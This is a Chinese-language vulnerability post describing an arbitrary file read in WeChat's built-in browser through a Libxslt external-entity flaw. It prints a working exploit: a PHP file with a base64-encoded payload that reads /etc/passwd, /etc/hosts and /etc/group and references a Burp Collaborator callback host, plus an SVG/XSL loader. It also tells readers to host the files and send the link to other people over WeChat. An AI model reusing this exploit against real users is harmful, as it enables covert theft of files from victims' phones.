[漏洞分享]微信任意文件读取漏洞
漏洞描述 Libxslt 是基于 WebKit 的浏览器(如 Chrome、Safari 等)中使用的默认 XSL(eXtensible Stylesheet Language)库。Libxslt 允许通过 XSL 的 document() 方法加载的文档中包含外部实体。攻击者可以绕过安全限制,从 http(s):// URL 中访问 file:// URL,并获得文件访问权限。 在默认沙盒环境下,攻击者可以在 iOS(Safari/Chrome)、Mac(Safari/Chrome)、Android(Chrome)和Samsung TV(默认浏览器)上读取 /etc/hosts(主机)文件。当使用 -no-sandbox 属性时(Electron/PhantomJS),攻击者可以在任何操作系统上读取任何文件。(有趣的是,实测鸿蒙是唯一一个没被影响的系统) 而且微信自带的浏览器是没有开沙箱的,也就是说存在任意文件读取 漏洞复现 先来看看exp.php <?php header("Access-Control-Allow-Origin: *"); echo base64_decode("PD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3htbCIgaHJlZj0iaHR0cDovLzY0OG92OTJndGFtcDFyMHVuYmZ1aXE0djBtNmN1MS5idXJwY29sbGFib3JhdG9yLm5ldCI/Pgo8IURPQ1RZUEUgcCBbCjwhRU5USVRZIHBhc3N3ZCBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI+CjwhRU5USVRZIGhvc3RzIFNZU1RFTSAiZmlsZTovLy9ldGMvaG9zdHMiPgo8IUVOVElUWSBncm91cCBTWVNURU0gImZpbGU6Ly9sb2NhbGhvc3QvZXRjL2dyb3VwIj4KCl0+IA=="); ?> <p> <p style="border-style: dotted;">/etc/passwd: &passwd; </p> <p style="border-style: dotted;">/etc/hosts: &hosts; </p> <p style="border-style: dotted;">/etc/group: &group; </p> </p> 再新建一个 exp.svg 文件在 document引用加载刚才新建的文件exp.php <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg"> <foreignObject class="node" font-size="18" width="100%" height="100%"> <body xmlns="http://www.w3.org/1999/xhtml"> <xmp><xsl:copy-of select="document('exp.php')"/></xmp> <script type="text/javascript"> </script> </body> </foreignObject> </svg> </xsl:template> </xsl:stylesheet> 利用上述exp代码在本地搭建一个简单php web服务,在微信把链接发给别人,即可读取到别人手机上的/etc/passwd等敏感信息(下面测试环境是安卓8.0和IOS16.5,均为截至2023.11.22最新版微信) ...